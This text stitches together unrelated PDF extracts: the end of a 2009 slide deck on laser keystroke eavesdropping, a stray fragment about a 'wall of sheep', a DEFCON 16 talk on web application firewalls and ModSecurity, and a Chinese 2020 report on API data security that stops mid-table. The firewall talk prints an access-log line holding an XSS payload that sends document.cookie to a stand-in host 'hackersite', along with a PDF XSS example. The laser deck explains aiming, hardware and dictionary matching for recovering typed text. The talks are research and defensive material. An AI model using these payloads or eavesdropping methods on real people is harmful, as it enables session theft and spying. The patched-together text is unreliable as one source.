Cadmium Sulfide (CdS) Photoresitor or... ● BPW21R Silicon PN Photodiode Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. BP103 CdS BPW21R Diagram Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Victim Laptop TX Laser Attacker's Laptop Audio Jack Mic Jack RX Diode AA Battery + - The Device Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. The Device Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Audio Detection ● In order to test the device we first tried with audio ● A variable resistor helps a lot ● Good results below 30 meters without any hard core tuning ● Longer distances requires precise calibration and filtering Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Keystrokes Detection ● We aim the beam directly at the laptop case, generally the LCD display lid ● Aiming at the top of the lid catches more resonant vibrations (to be substracted later via signal analysis) ● Aiming closer to the hinges produces better results Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Sample - Keystrokes Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Spacebar Sample - Keystrokes Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Spacebar Sample - Keystrokes Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. It's just like Wheel of Fortune! Sample - Keystrokes Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. It's just like Wheel of Fortune! 1 1 1 1 2 2 3 3? 3 Scoring Technique ● Dynamic Time Warping (DTW) is a good technique for measuring the similarity of signals with different time/speed ● Generally applied to Audio (speech recognition) and Video Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Scoring Results chars 1 <> 7 = 0.066 chars 7 <> 8 = 0.029 chars 8 <> 7 = 0.029 chars 1 <> 8 = 0.072 chars 7 <> 1 = 0.066 chars 8 <> 1 = 0.072 chars 1 <> 3 = 0.167 chars 7 <> 3 = 0.161 chars 8 <> 3 = 0.146 chars 1 <> 10 = 0.188 chars 7 <> 10 = 0.191 chars 8 <> 6 = 0.226 chars 1 <> 6 = 0.209 chars 7 <> 6 = 0.270 chars 8 <> 10 = 0.244 chars 6 <> 10 = 0.160 chars 10 <> 6 = 0.160 chars 11 <> 1 = 0.065 chars 6 <> 1 = 0.209 chars 10 <> 7 = 0.191 chars 11 <> 8 = 0.029 chars 6 <> 8 = 0.226 chars 10 <> 1 = 0.188 chars 11 <> 7 = 0.072 chars 6 <> 7 = 0.270 chars 10 <> 8 = 0.244 chars 11 <> 3 = 0.146 chars 6 <> 3 = 0.343 chars 10 <> 3 = 0.250 chars 11 <> 6 = 0.226 Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. ● chars 1, 7, 8 and 11 are definetly identical like 6 and 10 ● char 3 and 4 looks different than anything else ● final result with complete scoring: 1?XY321 1321 Scoring Results Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Scoring Results Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Pattern Matching ./WoF '1_XY321 1321' /usr/share/dict/american-english hogwash hash (???) salmons sons (???) secrets sets (maybe) sermons sons (???) sockets sets (meh) soviets sets (cold war!) statues sues (well everything sues in America) straits sits (???) subways says (???) tempest test (OMG) tidiest test (meh) tiniest test (meh) trident tent (yeah right...) Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Pattern Matching Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. ● If we spot a 'the' (which is common in the English language) we narrow down the odds to 5 cases ● Consider that this sample result involves just 2 or 3 words without any previous data (although with 3 common letters spread around) ● Sampling more words dramatically increases matching ● Non-word passwords can be narrowed down considerably if a sample of English data is available from the same session Attack Scenario Laptops ● Asus EEE PC Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Reflective Plastic Case PWNED! Attack Scenario Laptops ● IBM/Lenovo Thinkpad Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Logo Wireless Antenna Attack Scenario Laptops ● Apple (we always thought that glossy == evil) Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Case, not good Glass ? Oh yeah! The Logo is very good too... Attack Scenario The Environment ● Obviously a line-of-sight is needed, either in front or above the target ● TX / RX can be at completely different locations ● The more money you throw at the equipment the longer the range ● Other kinds of laser microphone using interferometry and double transmitters can be used ● Attack is possible even with a (possibly double) glass window in the way, reflection loss is 4% at every pass ● Infrared laser can be used for stealthyness Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Notes ● Changing radically typing position (unusual) and mistyping words (very common) decrease accuracy ● Mistyping can be compensated, neural networks and/or custom dictionaries with key region mappings instead of words can be used for the first pass ● We believe that previous researches against acoustic emanations can be applied too ● We know it's hard to get a line of sight for the laser microphone, but it could be really worth it :) (social engineer your victim!) Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. The End Thanks for listening! - Questions? (shameless plug) http://www.inversepath.com Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd.
pdf
[email protected] 那就做個綿羊牆好了! http://www.directsystems.com/support/diff_h http://www.cisco.com/c/dam/en/us/support/do cs/switches/catalyst-6500-series- switches/10570-41d.gif Acce sPoi nt PC_A PC_B AP PC_A PC_B
pdf
The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. The Wide World of WAFs Ben Feinstein, CISSP GCFA SecureWorks Counter Threat Unit™ DEFCON 16 August 8, 2008 The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Web Application Firewalls (WAFs) • PCI Data Security Standard  Requirement 6.6  Why should you care? • ModSecurity  Concepts  Core Rules • ModSecurity WAF Live Demos  Reverse Proxy  Embedded  Content Injection in Response to Attack What’s In This Talk? The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Firewall operating at the web application layer • Hardware or Software • Fluent in many tongues  HTTP / HTTPS  XML  SOAP  XML-RPC  WS-* • Performs normalization / de-obfuscation • Detects attacks • Blocks attacks • Rewrites / Modifies requests and responses Web Application Firewalls (WAFs) The Basics The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Apache dynamically loadable module • Dual License  Community Edition - GPLv2  Commercial License • Created by Ivan Ristic • Commercialized by Breach Security • Core Rules released under GPLv2 ModSecurity Web App Firewalls The Basics The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • I apologize in advance if I bore you • PCI is driving adoption of WAF (and Web App Vulnerability Scanning) • Pentesters (i.e. QSAs): PCI will drive your business. You will need to be familiar with WAFs to evaluate and subvert them. • IT Security: You will be deploying WAFs because of PCI • Blackhats: You will be subverting WAFs for fun and profit! Meet the Payment Card Industry! Why Should You Care? The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Lots of new acronyms, yea! • PCI Security Standards Council (PCI) • PCI Data Security Standard (PCI DSS) • Other PCI security standards exist  PIN Entry Devices (PEDs)  Payment Application Data (PA-DSS) • Qualified Security Assessors (QSAs) • Approved Scanning Vendors (ASVs) Meet the Payment Card Industry! Terminology The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Build and Maintain a Secure Network • Protect Cardholder Data • Maintain a Vulnerability Management Program • Implement Strong Access Control Measures • Regularly Monitor and Test Networks • Maintain an Information Security Policy PCI Data Security Standard v1.1 The Basics The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • R6. "Develop & maintain secure systems and applications" • R6.6. "Ensure that all web-facing applications are protected against known attacks by applying either of the following methods:  Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security  Installing an application layer firewall in front of web-facing applications. • Note: This method is considered a best practice until June 30, 2008, after which it becomes a requirement." PCI DSS Application / System Security Requirement 6 The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • A way to reassign legal liability  QSA assumes unlimited liability? (IANAL) • Compliance rationale for bigger IT security budgets • An economically dictated race to the bottom for ASVs? PCI Data Security Standard What Does All This Really Mean? The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Cost of a PCI ASV's Solution • vs. that Solution's Ability to Find Issues (its Quality) • vs. Cost of Remediating the Identified Findings • vs. Loss Expectancy Due to Unidentified Issues • vs. Loss Expectancy Due to Unremediated Issues • No market differentiator between a PCI stamp of approval granted by ASVs of varying quality! PCI Data Security Standard An economically dictated race to the bottom for ASVs? The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Virtual Patching / Just-In-Time Patching • Postive Security Model  Input Validation Envelope • Negative Security Model  Enumerate the bad stuff • Difficult to achieve the "positive input validation envelope" in the real-world! • "When you know nothing, permit-all is the only option. When you know something, default-permit is what you can and should do. When you know everything, default-deny becomes possible, and only then." – Richard Bejtlich(?), quoted in WhiteHat Security WP WAF061708 ModSecurity Concepts The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Request Headers • Request Body • Response Headers • Response Body • Logging / Action More ModSecurity Concepts Processing Phases The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Can be nested / run in serial • Replace Comments  SQLi • URL Encode / Decode • Hex Encode / Decode • JavaScript Decode • HTML Entity Decode • Uppercase / Lowercase • MD5 / SHA1 • Normalize Paths More ModSecurity Concepts Transformations The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • HTTP protocol protection  RFCs  Defined policy • Common Web Attack Protections  XSS, SQLi, CSRF, HTTP Response Splitting • Automation Detection  Bots, web crawlers, web scanners • Trojan Protection • Server Error Hiding / DLP  Mask errors sent by the server  Data Loss Prevention ModSecurity Core Rules The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Request (a few important keywords)  REQUEST_METHOD  REQUEST_URI  REQUEST_FILENAME  QUERY_STRING  REQUEST_HEADERS  REQUEST_BODY • Response (a few important keywords)  RESPONSE_STATUS  RESPONSE_BODY  RESPONSE_HEADERS  RESPONSE_CONTENT_TYPE  RESPONSE_CONTENT_LENGTH ModSecurity Rule Language Keywords The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Content Injection  "prepend" and "append"  Embed one of Billy Hoffman's JS payloads in response to attack? • Aho-Corasick pattern matching algorithm  Improved performance when matching on large sets of patterns • Cached transformations • GeoIP lookup  Use as matching criteria in rules ModSecurity v2.5 Highlights The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Credict Card verification on the wire  @verifyCC rule operator, takes a regexp argument  Luhn checksum algorithm • PDF Universal XSS Protection  http://www.example.com/file.pdf#a=javascript:alert('p0 wn3d')  All PDFs on protected site get a one-time use URI  Redirects visitors to the PDF  Flushes any malicious JS in client's browser session • Full Lua scripting w/ SecRuleScript directive  Used to create more complex rules in Lua More ModSecurity v2.5 Highlights The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Embedded  Installed within Apache instance hosting site • Reverse Proxy  Use Apache mod_proxy  Traffic is redirected to flow through WAF • DNS configuration • Network-layer redirection  Could be hosted "in the cloud"  Supports use of Apache Virtual Hosts ModSecurity Web App Firewall Deployment Scenarios The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Apache Web Server Embedded Deployment www.example.com VirtualHost ModSecurity DocumentRoot Site Visitor The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Apache Web Server Embedded Deployment www.example.com VirtualHost ModSecurity DocumentRoot Attacker The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Live Demo ModSecurity Embedded Deployment The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Reverse Proxy Deployment Site Visitor Web Server WAF HTTP Request The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Reverse Proxy Deployment Site Visitor Web Server WAF HTTP Request HTTP Response HTTP Response HTTP Request The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Live Demo ModSecurity Reverse Proxy Deployment The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Credit to David (DKZA) Kierznowski, GNUCITIZEN  http://www.gnucitizen.org/blog/content-injection-hack- the-hacker/ • Inject code snippets  Defense  Hijacking JS functions • Redefine alert() with a Logger  A looking glass into client's browser ModSecurity Content Injection The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • The following rule will inject a Java Applet • MyAddress will force attacker's browser to callback to us • Reveals IP of the attacking host  Works despite NAT  Good, we might be only seeing IP of WAF in server log Content Injection An Example The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. SecContentInjection On SecDefaultAction "log,deny,phase:2,status:500,t:none,setvar:tx.alert=1" SecRule TX:ALERT "@eq 1" \ "phase:3,nolog,pass,chain,prepend:'<applet\ code=\"MyAddress.class\" width=0 height=0> \ <param name=\"url\" value=\"grab_ip.php?IP=\"> \ <param name=\"action\" value=\"auto\"> \ </applet>' " SecRule RESPONSE_CONTENT_TYPE "^text/html" Content Injection The Rules The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Below is a snippet from Apache access_log on the server • Reverse Proxy WAF has IP address is 10.0.0.10 • Attacker IP is 172.16.0.20 10.0.0.10 - - [30/May/2008:13:47:11 -0400] "GET /cgi- bin/foo.cgi?param=<script>document.write('<img%20 src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676 10.0.0.10 - - [30/May/2008:13:47:11 -0400] "GET /cgi- bin/grab_ip.php?IP=172.16.0.20 HTTP/1.1" 404 207 Content Injection Apache Access Log The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • "The Dream"  Automated webapp vulnerability assessment (i.e., scanning) instantly mitigates identified flaws through automagic deployment of rules to WAFs. • Until recently, not really feasible  Web App VA generated too many false postives  Web App VA generated too many duplicates  WAFs suffered under too many FPs and duplicates • Vendors are trying again VA + WAF = ??? + Profit !!! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Insecure Session Handling / Potential Cookie Tampering  WAF can perform transparent cookie encryption/decryption • Flaws in Business Logic  Reliance on a predictable "random" number in URL to provide authentication and authorization • Can be solved with a WAF performing "URL encryption" • Similar to ModSecurity protection against Universal PDF XSS  Many flaws in business logic are very difficult to detect w/ automated tools…  …and difficult to mitigate with a tool like a WAF Limitations of WAFs It’s Just A Tool, Not A Silver Bullet The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Vendors will continue to add WAF-like functionality  Load Balancers  Firewalls  IPS and UTM devices • WAF-like funtionality being wrapped into malware  Many already contain SOCKS proxy functionality • Rogue / Malicious WAF Attacks  WPAD-like attack vectors?  WAF Poisoning? • More WAF Bypass Vulnerabilities The Future Some Closing Thoughts The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • WAFs from a attacker's perspective • "Playing with Web Application Firewalls"  Wendel Guglielmetti Henrique  Fri 15:00-15:50, Track 2 • How to detect, fingerprint, and evade WAFs • I learned some stuff just reading the slides A Plug The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Thanks to DT, the Goons and everyone who made DEFCON a reality this year! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Greetz to DC404, Atlanta's DC Group! Speakers: dr.kaos, Carric, David Maynor, Scott Moulton & Adam Bregenzer And our very own Goon, dc0de! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Questions? [email protected]
pdf
应用程序接口(API) 数据安全研究报告 (2020 年) 中国信息通信研究院安全研究所 2020 年 7 月 版权声明 本报告版权属于中国信息通信研究院安全研究所,并受 法律保护。转载、摘编或利用其它方式使用本报告文字或者 观点的,应注明“来源:中国信息通信研究院安全研究所”。 违反上述声明者,本院将追究其相关法律责任。 前 言 伴随着云计算、大数据、人工智能等技术的蓬勃发展,移动互 联网、物联网产业加速创新,移动设备持有量不断增加,Web 应用、 移动应用已融入生产生活的各个领域。这一过程中,应用程序接口 (Application Programming Interface,API)作为数据传输流转 的重要通道发挥着举足轻重的作用。API 技术不仅帮助企业建立与客 户沟通的桥梁,还承担着不同复杂系统环境、组织机构之间的数据 交互、传输的重任。然而,在 API 技术带来上述积极作用的同时, 与其相关的数据安全问题也日益凸显。 近年来,国内外曝出多起与 API 相关的数据安全事件,严重损 害了相关企业、用户的合法权益。我国多个行业已出台相关规范性 文件,覆盖通信、金融、交通等诸多领域,对 API 安全提出了一定 要求,对其技术部署、安全管理等进行规范。然而当前已研制标准 主要针对特定 API 类型、应用场景提出要求,尚未全面覆盖 API 数 据安全,相关标准规范体系有待完善。 本报告围绕近年来 API 安全态势,分析梳理了 API 技术面临的 内、外部安全风险,针对事前、事中、事后不同阶段的安全需求差 异,从 API 安全管理、防护手段、风险管控等多角度为企业实现高 效、灵活的 API 安全实践提出了针对性建议。 技术支持: 全知科技(杭州)有限责任公司 联系人: 王丹辉 中国信息通信研究院 电子邮件:[email protected] 解伯延 中国信息通信研究院 电子邮件:[email protected] 朱通 全知科技(杭州)有限责任公司 费嫒 全知科技(杭州)有限责任公司 目 录 一、 API 的基本情况..................................................................................................1 (一) API 简介............................................................................................... 1 (二) API 分类及组成要素........................................................................... 2 1. API 分类.............................................................................................2 2. API 组成要素.....................................................................................3 (三) API 安全标准化情况........................................................................... 4 二、 近年来 API 安全态势.......................................................................................10 (一) Facebook 多起数据泄露事件与 API 有关....................................... 10 (二) 美国邮政服务 API 漏洞导致用户信息泄露.................................... 11 (三) T-Mobile API 漏洞导致用户账号被窃取....................................... 11 (四) Twitter 虚假账户利用 API 批量匹配用户信息............................. 12 (五) 考拉征信非法出售 API 导致个人信息泄露.................................... 12 (六) 新浪微博用户查询接口被恶意调用导致数据泄露........................ 12 (七) 微信团队收回小程序"用户实名信息授权"接口............................ 13 三、 安全风险分析...................................................................................................13 (一) 外部威胁因素.................................................................................... 13 1. API 漏洞导致数据被非法获取.......................................................14 2. API 成为外部网络攻击的重要目标...............................................14 3. 网络爬虫通过 API 爬取大量数据..................................................14 4. 合作第三方非法留存接口数据......................................................15 5. API 请求参数易被非法篡改...........................................................15 (二) 内部脆弱性因素................................................................................ 16 1. 身份认证机制..................................................................................16 2. 访问授权机制..................................................................................17 3. 数据脱敏策略..................................................................................17 4. 返回数据筛选机制..........................................................................18 5. 异常行为监测..................................................................................18 6. 特权账号管理..................................................................................19 7. 第三方管理......................................................................................19 四、 安全建议...........................................................................................................20 (一) 事前.................................................................................................... 20 1. 统一 API 设计开发规范,减少安全隐患......................................20 2. 强化 API 上线、变更、下线环节实时监控,确保全生命周期安全 ................................................................................................................20 3. 完善 API 身份认证和授权管理机制,强化接口接入安全审核..21 4. 健全 API 安全防护体系,提升抵御外部威胁能力......................21 5. 加大 API 安全保护宣传力度,提高员工安全意识......................22 (二) 事中.................................................................................................... 22 1. 加强 API 身份认证实时监控能力建设..........................................22 2. 加强异常行为实时监测预警能力建设..........................................22 3. 加强数据分类分级管控能力建设..................................................23 4. 加强 API 数据流向监控能力建设..................................................23 (三) 事后.................................................................................................... 24 1. 建立健全应急响应机制..................................................................24 2. 建立健全日志审计机制..................................................................24 3. 建立健全数据泄露溯源追责机制..................................................25 五、 附录...................................................................................................................26 (一) 全知科技 API 安全实践.................................................................... 26 1. 开放 API 安全实践..........................................................................26 2. 面向合作方 API 安全实践..............................................................29 3. 内部 API 安全实践..........................................................................31 (二) 观安 API 安全实践............................................................................ 34 1. 安全方案..........................................................................................34 2. 技术手段..........................................................................................35 3. 实践应用..........................................................................................38 4. 发展趋势..........................................................................................40 (三) 爱加密 API 安全实践........................................................................ 41 1. 安全方案..........................................................................................41 2. 技术手段..........................................................................................43 3. 实践应用..........................................................................................44 4. 产品研发..........................................................................................47 表 目 录 表 1 相关国家标准例举............................................................................................5 表 2 相关通信行业标准例举....................................................................................6 表 3 相关金融行业标准例举....................................................................................8 表 4 相关交通行业标准例举....................................................................................9 应用程序接口(API)数据安全研究报告(2020 年) 1 一、API 的基本情况 伴随着云计算、移动互联网、物联网的蓬勃发展,越来越多的 开发平台和第三方服务快速涌现,应用系统与功能模块复杂性不断 提升,应用开发深度依赖于应用程序接口(Application Programming Interface,API)之间的相互调用。近年来移动应用深入普及,促 使社会生产、生活活动从线下转移到了线上,特别在此次新冠肺炎 疫情期间,协同办公、在线教育、便民服务等领域移动应用积极助 力复工复产,各地依托大数据推出“健康码”等疫情防控新举措, API 在其中起到了紧密链接各个元素的作用。为满足各领域移动应用 业务需要,API 的绝对数量持续增长,通过 API 传递的数据量也飞速 增长。API 技术借助移动应用蓬勃发展的势头融入社会经济的方方面 面,不仅为数据交互提供了便利,并且推动了企业、组织机构间的 沟通和对话,甚至创造了新的经济模式:API 经济。 (一)API 简介 API 是预先定义的函数,为程序之间数据交互和功能触发提供服 务。调用者只需调用 API,并输入预先约定的参数,即可实现开发者 封装好的各种功能,无需访问功能源码或理解功能的具体实现机制。 从功能角度来看,API 是前端调用后端数据的通道;从业务角度 来看,API 是将封装后的应用对外开放的访问接口。在信息系统内部, 随着业务功能的逐渐细化,各个功能模块之间需要利用 API 技术来 进行协调;在信息系统外部,API 承担着与其他应用程序进行交互的 应用程序接口(API)数据安全蓝皮报告(2020 年) 2 重要任务。 (二)API 分类及组成要素 1.API 分类 API 技术应用广泛,可满足不同领域、不同业务的数据传输和操 作需求,在包括软件开发工具包(Software Development Kit,SDK)、 Web 应用、网关等诸多领域均可发现 API 的身影。因此,从应用领域 角度难以合理清晰地区分其种类。为此,本报告从 API 开放程度和 API 核心技术两个维度进行分类介绍。 (1)按 API 开放程度分类 从 API 的开放程度出发,API 可以分为开放 API、面向合作方 API 和内部 API。 开放 API 是面向公网开放的接口,此类 API 允许公众调用。调 用者可以是任何人或者机构,不需要和 API 提供者建立合作关系, 例如公司门户网站等。 面向合作方 API 指的是企业或组织用来与外部合作伙伴进行沟 通、交流和系统集成的 API,例如面向外包机构、设备供应商等。 内部 API 仅在企业或组织内部使用,用来协调内部不同系统、 应用之间的调用关系,例如 CRM 系统 API、薪资系统 API 等。 (2)按 API 核心技术分类 从 API 核心技术进行划分,可分为简单对象访问协议(Simple 应用程序接口(API)数据安全蓝皮报告(2020 年) 3 Object Access Protocol,SOAP)API,RESTful(Representational State Transfer,REST)API 及远程过程调录(Remote Procedure Call, RPC)API。 SOAP API 是指使用 Web 服务安全性内置协议的 API。基于 XML 协议,此类 API 技术可与多种互联网协议和格式结合使用,包括超 文本传输协议(HTTP)、简单邮件传输协议(SMTP)、多用途网际 邮件扩充协议(MIME)等。 RPC API 是指使用远程过程调录协议进行编程的 API,RPC 技术 允许计算机调用其他计算机的子系统,并定义了结构化的请求方式。 不同于上述两类依托于协议的 API 技术,RESTful API 是一种架 构,其通过 HTTP 和 JSON 进行传输,不需要存储或重新打包数据, 同时支持 TLS 加密。 2.API 组成要素 API 通常包含如下组成要素,在这些要素的共同作用下,API 才 能发挥预期作用。 (1)通信协议:API 一般利用 HTTPS 等加密通讯协议进行数据 传输,以确保数据交互安全。 (2)域名:用于指向 API 在网络中的位置。API 通常被部署在 主域名或者专用域名之下,接入方可通过域名调用相关 API。 (3)版本号:不同版本的 API 可能存在巨大差异,尤其对于多 版本并存、增量发布等情况,API 版本号有助于准确区分 API 的参数 应用程序接口(API)数据安全蓝皮报告(2020 年) 4 设置。 (4)路径:路径又称“终点”(end point),指表示 API 及 API 执行功能所需资源的具体地址。 (5)请求方式:API 常用的请求方式有 GET、POST、PUT 和 DELETE 四种,分别用于获取、更新、新建、删除指定资源。 (6)请求参数:即传入参数,包含数据格式、数据类型、可否 为空以及文字描述等内容。传入参数主要包括 Cookie、Request header、请求 body 数据和地址栏参数等。 (7)响应参数:即返回参数或传出参数,返回参数本身默认没 有值,用于带出请求参数要求 API 后台所返回的数据。 (8)接口文档:接口文档是记录 API 相关信息的文档,内容包 括接口地址、请求方式、传入参数(请求参数)和响应参数等。 (三)API 安全标准化情况 近年来,我国陆续出台多部数据接口有关标准,对数据接口在 不同领域的应用、部署、管理、防护等进行了规范。 在国家标准层面,我国多部现行及制定中的国家标准针对 API 安全提出了安全要求。GB/T 35273-2020《信息安全技术 个人信息 安全规范》将 API 开发、调用与个人信息安全相结合,明确指出“个 人信息控制者在提供产品或服务的过程中部署了收集个人信息的第 三方插件(例如网站经营者与在其网页或应用程序中部署统计分析 工具、软件开发工具包 SDK、调用地图 API 接口),且该第三方并未 应用程序接口(API)数据安全蓝皮报告(2020 年) 5 单独向个人信息主体征得收集、使用个人信息的授权同意,则个人 信息控制者与该第三方为共同个人信息控制者。”制定中的国家标 准 GB/ XXXX-XX《信息安全技术 政务信息共享 数据安全技术要求》 要求共享交换过程中涉及的授权方(共享数据提供方、共享交换服 务方)“支持资源文件、库表、接口等各共享方式上不同粒度的权 限控制”,并在级联接口安全方面要求“共享交换服务方应采用密 码技术对共享交换系统间的级联接口进行安全防护,保障通过级联 接口传递的数据的保密性和完整性。” 表 1 相关国家标准例举 序号 标准编号 标准名称 1 GB/T 35273-2020 《信息安全技术 个人信息安全规范》 2 GB/T 36478.4-2019 《物联网 信息交换和共享 第 4 部 分:数据接口》 3 GB/T 21062.3-2007 《政务信息资源交换体系 第 3 部分: 数据接口规范》 4 GB/T 19581-2004 《信息技术 会计核算软件数据接口》 5 GB/ XXXX-XX 《信息安全技术 政务信息共享 数据 安全技术要求(征求意见稿)》 来源:中国信息通信研究院 在通信行业标准方面,随着云计算、移动互联网等领域的快速 发展,通信行业针对特定 API 类型、API 应用场景等制定了一系列标 准,细化了 API 相关安全要求与规范。其中 YD/T 2807.4-2015《云 应用程序接口(API)数据安全蓝皮报告(2020 年) 6 资源管理技术要求 第 4 部分:接口》对涉及的接口类型进行了梳理, 规定了云资源管理平台及分平台间接口的技术要求。YD/T 3217-201 7《基于表述性状态转移(REST)技术的业务能力开放应用程序接口 (API)视频共享》则针对基于 REST 技术的视频共享能力开放 API 进行了规范,涵盖了接口资源定义、资源操作、数据结构、基本流 程和安全要求等多方面内容。 表 2 相关通信行业标准例举 序号 标准编号 标准名称 1 YD/T 3420.8-2019 《基于公用电信网的宽带客户网关虚拟 化 第 8 部分:接口要求》 2 YD/T 3496-2019 《Web 安全日志格式及共享接口规范》 3 YD/T 3242-2017 《生物灾害防治和预警系统 信息发布 网络接口技术要求》 4 YD/T 3217-2017 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)视频 共享》 5 YD/T 2406-2017 《互联网数据中心和互联网接入服务信 息安全管理系统及接口测试方法》 6 YD/T 3215-2017 《互联网资源协作服务信息安全管理系 统及接口测试方法》 7 YD/T 3214-2017 《互联网资源协作服务信息安全管理系 统接口规范》 应用程序接口(API)数据安全蓝皮报告(2020 年) 7 8 YD/T 3213-2017 《内容分发网络服务信息安全管理系统 及接口测试方法》 9 YD/T 3212-2017 《内容分发网络服务信息安全管理系统 接口规范》 10 YD/T 3189-2016 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)状态 呈现业务》 11 YD/T 2807.4-2015 《云资源管理技术要求 第4部分:接口》 12 YD/T 2464-2013 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)搜索 业务》 13 YD/T 1661-2007 《基于互联网服务(Web Service)的开 放业务接入应用程序接口(Parlay X) 技术要求》 14 YD/T 1262-2003 《开放业务接入应用程序接口(PARLAY API)技术要求》 来源:中国信息通信研究院 在金融行业标准方面,已发布多部标准对 API 技术的部署、管 理进行规范。其中 JR/T 0171-2020《个人金融信息保护技术规范》 要求金融机构嵌入或接入 API 时,应符合相应技术规范要求,进行 检查、评估和审计。JR/T 0185—2020《商业银行应用程序接口安全 管理规范》则对 API 技术提出了包括数据完整性保护、授权管理、 应用程序接口(API)数据安全蓝皮报告(2020 年) 8 使用情况监控、接口访问日志留存、安全密钥管理、网络安全防护 措施部署、接口安全监测、接口调用控制、接口变更处理、应急处 理方案、安全审计溯源等一系列安全要求。 表 3 相关金融行业标准例举 序号 标准编号 标准名称 1 JR/T 0185-2020 《商业银行应用程序接口安全管理规 范》 2 JR/T 0171-2020 《个人金融信息保护技术规范》 3 JR/T 0160-2018 《期货市场客户开户数据接口》 4 JR/T 0155.1-2018 《证券期货业场外市场交易系统接口 第 1 部分:行情接口》 5 JR/T 0155.2-2018 《证券期货业场外市场交易系统接口 第 2 部分:订单接口》 6 JR/T 0155.3-2018 《证券期货业场外市场交易系统接口 第 3 部分:结算接口》 7 JR/T 0151-2016 《期货公司柜台系统数据接口规范》 8 JR/T 0109.2-2015 《智能电视支付应用规范 第 2 部分:报 文接口规范》 9 JR/T 0109.4-2015 《智能电视支付应用规范 第 4 部分:通 信接口规范》 10 JR/T 0078-2014 《银行间市场数据接口》 应用程序接口(API)数据安全蓝皮报告(2020 年) 9 11 JR/T 0096.1-2012 《中国金融移动支付 联网联合 第 1 部 分:通信接口规范》 12 JR/T 0087-2012 《股指期货业务基金与期货数据交换接 口》 13 JR/T 0055.5-2009 《银行卡联网联合技术规范 第 5 部分: 通信接口》 14 JR/T 0024-2004 《国际收支统计间接申报银行接口规范 通用要素》 来源:中国信息通信研究院 在交通行业标准方面,也相继出台了包括 JT/T 1183-2018《出 租汽车 ETC 支付接口规范》、JT/T 1049-2017《道路运政管理信息 系统》在内的多部 API 相关标准和规范性文件。 表 4 相关交通行业标准例举 编号 标准编号 标准名称 1 JT/T 1183-2018 《出租汽车 ETC 支付接口规范》 2 JT/T 1049-2017 《道路运政管理信息系统》 3 JT/T 1049.5-2017 《道路运政管理信息系统第 5 部分:省 级业务系统接口》 4 JT/T 1019.3-2016 《12328 交通运输服务监督电话系统 第 3 部分:数据交换与信息共享接口技术 要求》 5 